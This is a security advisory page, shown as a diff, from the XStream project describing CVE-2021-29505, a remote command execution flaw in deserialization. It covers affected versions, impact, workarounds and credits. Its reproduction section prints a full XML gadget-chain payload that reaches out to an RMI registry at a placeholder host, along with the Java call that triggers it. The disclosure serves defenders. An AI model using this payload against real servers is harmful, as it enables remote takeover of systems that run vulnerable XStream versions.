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Add description of CVE-2021-29505 and bug fix.
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<html> | ||
<!-- | ||
Copyright (C) 2021 XStream committers. | ||
All rights reserved. | ||
The software in this package is published under the terms of the BSD | ||
style license a copy of which has been included with this distribution in | ||
the LICENSE.txt file. | ||
Created on 8. May 2021 by Joerg Schaible | ||
--> | ||
<head> | ||
<title>CVE-2021-29505</title> | ||
</head> | ||
<body> | ||
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<h2 id="vulnerability">Vulnerability</h2> | ||
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<p>CVE-2021-29505: XStream is vulnerable to a Remote Command Execution attack.</p> | ||
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<h2 id="affected_versions">Affected Versions</h2> | ||
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<p>All versions until and including version 1.4.16 are affected, if using the version out of the box. No user is | ||
affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security | ||
framework</a> with a whitelist limited to the minimal required types.</p> | ||
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<h2 id="description">Description</h2> | ||
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<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects. | ||
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed | ||
input stream and replace or inject objects, that result in execution of a local command on the server.</p> | ||
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<h2 id="reproduction">Steps to Reproduce</h2> | ||
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<p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and | ||
unmarshal it again with XStream:</p> | ||
<div class="Source XML"><pre><java.util.PriorityQueue serialization='custom'> | ||
<unserializable-parents/> | ||
<java.util.PriorityQueue> | ||
<default> | ||
<size>2</size> | ||
</default> | ||
<int>3</int> | ||
<javax.naming.ldap.Rdn_-RdnEntry> | ||
<type>12345</type> | ||
<value class='com.sun.org.apache.xpath.internal.objects.XString'> | ||
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj> | ||
</value> | ||
</javax.naming.ldap.Rdn_-RdnEntry> | ||
<javax.naming.ldap.Rdn_-RdnEntry> | ||
<type>12345</type> | ||
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> | ||
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> | ||
<parsedMessage>true</parsedMessage> | ||
<soapVersion>SOAP_11</soapVersion> | ||
<bodyParts/> | ||
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> | ||
<attachmentsInitialized>false</attachmentsInitialized> | ||
<multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> | ||
<soapPart/> | ||
<mm> | ||
<it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> | ||
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> | ||
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> | ||
<names> | ||
<string>aa</string> | ||
<string>aa</string> | ||
</names> | ||
<ctx> | ||
<environment/> | ||
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> | ||
<java.rmi.server.RemoteObject> | ||
<string>UnicastRef</string> | ||
<string>ip2</string> | ||
<int>1099</int> | ||
<long>0</long> | ||
<int>0</int> | ||
<short>0</short> | ||
<boolean>false</boolean> | ||
</java.rmi.server.RemoteObject> | ||
</registry> | ||
<host>ip2</host> | ||
<port>1099</port> | ||
</ctx> | ||
</candidates> | ||
</aliases> | ||
</it> | ||
</mm> | ||
</multiPart> | ||
</sm> | ||
</message> | ||
</value> | ||
</javax.naming.ldap.Rdn_-RdnEntry> | ||
</java.util.PriorityQueue> | ||
</java.util.PriorityQueue> | ||
</pre></div> | ||
<div class="Source Java"><pre>XStream xstream = new XStream(); | ||
xstream.fromXML(xml); | ||
</pre></div> | ||
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<p>As soon as the XML gets unmarshalled, the payload gets executed and the command is executed on the host.</p> | ||
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<p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p> | ||
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<h2 id="impact">Impact</h2> | ||
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<p>The vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by | ||
manipulating the processed input stream.</p> | ||
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<h2 id="workarounds">Workarounds</h2> | ||
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<p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p> | ||
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<h2 id="credits">Credits</h2> | ||
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<p>V3geB1rd, white hat hacker from Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.</p> | ||
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</body> | ||
</html> |
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